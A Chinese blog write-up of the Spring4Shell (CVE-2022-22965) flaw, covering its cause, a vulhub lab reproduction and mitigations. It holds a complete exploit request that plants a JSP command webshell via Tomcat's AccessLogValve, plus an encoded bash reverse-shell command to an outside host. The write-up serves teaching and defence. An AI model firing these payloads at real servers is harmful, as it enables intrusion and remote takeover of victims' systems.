hzhsec

 

Spring4Shell CVE-2022-22965原理及复现


Spring4Shell(正式编号为 CVE-2022-22965)是 2022 年 3 月底发现的一个存在于 Spring Framework 中的远程代码执行(RCE)高危漏洞。由于 Spring 框架在 Java 生态中的核心地位,该漏洞曾引发了全行业的广泛关注,被不少人拿来与之前的 Log4Shell(Log4j 漏洞)相提并论。

漏洞原因与原理

核心原因:Spring 的 参数绑定(Data Binding) 机制存在缺陷,未能有效限制对敏感类属性的访问。

技术原理:

  1. 参数绑定:Spring 允许将 HTTP 请求参数自动映射到 Java 对象(POJO)的属性中。例如,请求 ?name=Tom 会调用对象的 setName("Tom")
  2. 利用路径:在 JDK 9 及以上版本中,Java 引入了 Module 概念。通过对象属性导航,攻击者可以访问到 class 对象,进而访问 module,再访问到 classLoader
    • 利用链class.module.classLoader
  3. 日志篡改(以 Tomcat 为例):攻击者通过特制的 HTTP 请求,修改 Tomcat 服务器的 AccessLogValve(访问日志控制类)的配置属性。
  4. 写入 WebShell:攻击者将日志的存储路径修改为 Web 目录,将日志后缀改为 .jsp,并将日志内容(Pattern)设置为一段恶意的 JSP 代码。随后,只需访问一次该 URL,Tomcat 就会将这段恶意代码写入服务器磁盘,形成一个持久化的 WebShell

影响范围

要触发此漏洞,通常需要满足以下 五个特定条件(这也是为什么它虽严重但不如 Log4j 易触发的原因):

  • JDK 版本:JDK 9 或更高版本(因为需要 module 属性)。
  • 框架版本:Spring Framework < 5.3.18 或 < 5.2.20。
  • 依赖项:使用 spring-webmvcspring-webflux
  • 部署方式:以传统的 WAR 包 形式部署在 Apache Tomcat 上。如果使用 Spring Boot 默认的内嵌 Tomcat(JAR 包部署),默认配置下较难被直接利用。
  • 参数传递:Controller 方法中使用了 POJO(普通 Java 对象)作为入参。

特定入口:必须是 Spring MVC 控制器中接收 POJO 参数绑定 的 HTTP 接口。
利用难度:中等:需要构造复杂的反射链,且目前公开最成熟的利用路径仅针对 Tomcat 容器。


Spring4Shell漏洞是基于CVE-2010-1622漏洞的绕过

CVE-2010-1622大致流程:

  1. class.classLoader 获得 ClassLoader 类加载器,而在 tomcat 中类加器一般为 org.apache.catalina.loader.WebappClassLoader 它继承了 URLClassLoader 有一个 getURLs() 方法返回 URLs 的数组
  2. springbean 的内省机制,对于数组不需要 setter 方法也可以修改值,内部是 Array.set() 实现的
  3. tomcat 的 org.apache.jasper.compiler.TldLocationsCache 会从 WebappClassLoader 里面读取 urls 参数并解析恶意的 TLD 文件,实现 RCE
    简化就是 :
    通过springbean特性修改class.classLoader.URLs[0]数组的值 -> 由于jstl即 Java 服务器页面标准标签库 , Spring 在渲染 jsp 页面时,会去加载标签库.当受害机加载攻击者的远程类时,会解析攻击者构造的恶意TLD文件,实现RCE

漏洞修复
官方在 springbean 的加载时的 CachedIntrospectionResults 加入了对 class.classLoader 的判断


CVE-2022-22965(Spring4Shell)

jdk9 以后给 Class 加入了 module 属性,我们可以利用 module 获得 ClassLoader, 也就是可以利用 class.module.classLoader 获得

可以本地搭建漏洞环境,执行以下代码,通过反射深度搜索查找,获取class.module.classLoader的利用链,打印出来

package com.lingx5.spring4shell.controller;
 
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
 
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
 
@Controller
public class ProperController {
    @RequestMapping("/testclass")
    public void classTest(){
        HashSet<Object> set = new HashSet<Object>();
        String poc = "class.moduls.classLoader";
        User action = new User();
        processClass(action.getClass().getClassLoader(),set,poc);
    }
    public void processClass(Object instance, java.util.HashSet set, String poc){
        try {
            Class<?> c = instance.getClass();
            set.add(instance);
            Method[] allMethods = c.getMethods();
            for (Method m : allMethods) {
                if (!m.getName().startsWith("set")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=1) continue;
                if(pType[0].getName().equals("java.lang.String")||
                        pType[0].getName().equals("boolean")||
                        pType[0].getName().equals("int")){
                    String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
                    System.out.println(poc+"."+fieldName);
                }
            }
            for (Method m : allMethods) {
                if (!m.getName().startsWith("get")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=0) continue;
                if(m.getReturnType() == Void.TYPE) continue;
                m.setAccessible(true);
                Object o = m.invoke(instance);
                if(o!=null)
                {
                    if(set.contains(o)) continue;
                    processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
                }
            }
        } catch (IllegalAccessException | InvocationTargetException x) {
            x.printStackTrace();
        }
    }
}

发现获取了以下AccessValve属性

class.module.classLoader.resources.context.parent.pipeline.first.directory 
class.module.classLoader.resources.context.parent.pipeline.first.prefix 
class.module.classLoader.resources.context.parent.pipeline.first.suffix 
class.module.classLoader.resources.context.parent.pipeline.first.pattern 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  1. 什么是AccessLogValve
    在正常情况下,AccessLogValve(访问日志阀门)是 Apache Tomcat 提供的一个标准组件。它的唯一任务是:记录谁在什么时候访问了哪个网页
    server.xml 中通常是这样配置
<Valve className="org.apache.tomcat.valves.AccessLogValve" 
       directory="logs" 
       prefix="localhost_access_log" 
       suffix=".txt"
       pattern="%h %l %u %t &quot;%r&quot; %s %b" />
  • directory: 日志存哪(默认是 logs 目录)。
  • prefix / suffix: 文件名叫什么(默认是 localhost_access_log.txt)。
  • pattern: 记录什么内容(如:IP 地址请求时间状态码等)。
  1. 在这个漏洞起什么作用呢?
    由于漏洞本身只是赋予了攻击者修改java对象属性的能力,所以需要找到可以通过属性修改控制服务器的利用路径,而AccessLogValve就是这条路径

漏洞攻击思路:

  1. 修改路径:通过漏洞吧directory修改成Web根目录(webapps/ROOT)
  2. 修改后缀:把后缀改成可以解析的代码后缀,把 suffix.txt 改成 .jsp.
  3. 注入:把 pattern 改为一段 WebShellJSP 木马)

条件略有些苛刻
利用链严重依赖 Tomcat,如果你用的是 Jetty 或其他服务器,它们没有 AccessLogValve 这个类,或者类结构不一样,攻击者的这条“写文件路径”就断了

漏洞复现

  1. 靶机环境(使用 vulhub靶场):
克隆vulhub仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git
到漏洞地址
cd vulhub/spring/CVE-2022-22965

拉取镜像

docker-compose up -d 

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker-proxy.sh

再拉取

docker-compose up -d 

使用docker ps查看镜像是否运行
访问:http://靶机IP:8080
![[Pasted image 20260108182637.png]]

  1. 构造恶意请求
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.1.100:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

payload解释:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.pattern
这个属性作用是保存日志内容,这里通过请求包头部信息构造了jsp恶意代码,并回显

最终构造为

<% if("j".equals(request.getParameter("pwd"))){ 
    Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream() 的输出通过out.println回显 
} %>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

修改日志保存后缀.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

修改日志保存根目录webapps/ROOT

&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

将日志文件名前缀改为tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

dateFormat留空(避免带时间戳,文件名固定为 tomcatwar.jsp

  1. 发送数据包
    浏览器插件是crapapi http接口调试插件,当然可以用burpsuit发送
    ![[Pasted image 20260108181017.png]]

  2. 测试是否执行命令

http://192.168.41.128:8080/tomcatwar.jsp?pwd=j&cmd=id

![[Pasted image 20260108181000.png]]

成功执行

测试反弹shell命令

bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ替换为自己的反弹命令

将命令url编码

http://192.168.41.128:8080/tomcatwar.jsp?pwd=j&cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

![[Pasted image 20260108181830.png]]

反弹成功
![[Pasted image 20260108181917.png]]

漏洞修复建议

1.升级框架版本
这是最彻底的解决方案,Spring 官方已在后续版本中对参数绑定的类访问路径进行了严格的黑名单限制。

  • Spring Framework
    • 升级到 5.3.18 或更高版本。
    • 升级到 5.2.20 或更高版本(针对 5.2.x 分支)。
  • Spring Boot
    • 升级到 2.6.6 或更高版本。
    • 升级到 2.5.12 或更高版本。

2.环境降级
如果你的业务代码过于陈旧,无法立即升级 Spring 框架,可以通过改变运行环境来阻断漏洞链
降级 JDK: 将运行环境回退到 Java 8

  • 原理:Spring4Shell 的利用链依赖于 Java 9+ 引入的 module 属性。在 JDK 8 下,攻击者无法通过 class.module 访问到 ClassLoader

3.代码临时加固

在无法升级框架且必须使用 JDK 9+ 的情况下,可以在 Controller 中通过 @InitBinder 设置黑名单,禁止绑定敏感的属性路径。

@ControllerAdvice
@Order(Ordered.HIGHEST_PRECEDENCE)
public class SecurityAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        // 定义黑名单:禁止通过参数绑定访问 classLoader 和 cache
        String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
        dataBinder.setDisallowedFields(denylist);
    }
}

注意:这种方法需要确保覆盖了所有的 Controller。

参考链接

CVE-2022-22965源码分析与漏洞复现
Spring4Shell 漏洞分析


免责声明

本文档所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的

严禁在未获得明确授权的情况下,对任何系统进行测试或攻击。任何不当使用所导致的法律责任及后果,均由使用者自行承担。

作者与文档提供者不承担任何因滥用本文档信息而产生的直接或间接责任。请遵守您所在地的法律法规,并始终践行负责任的网络安全实践。

posted on 2026-01-08 18:50  hzhsec  阅读(162)  评论(0)    收藏  举报

导航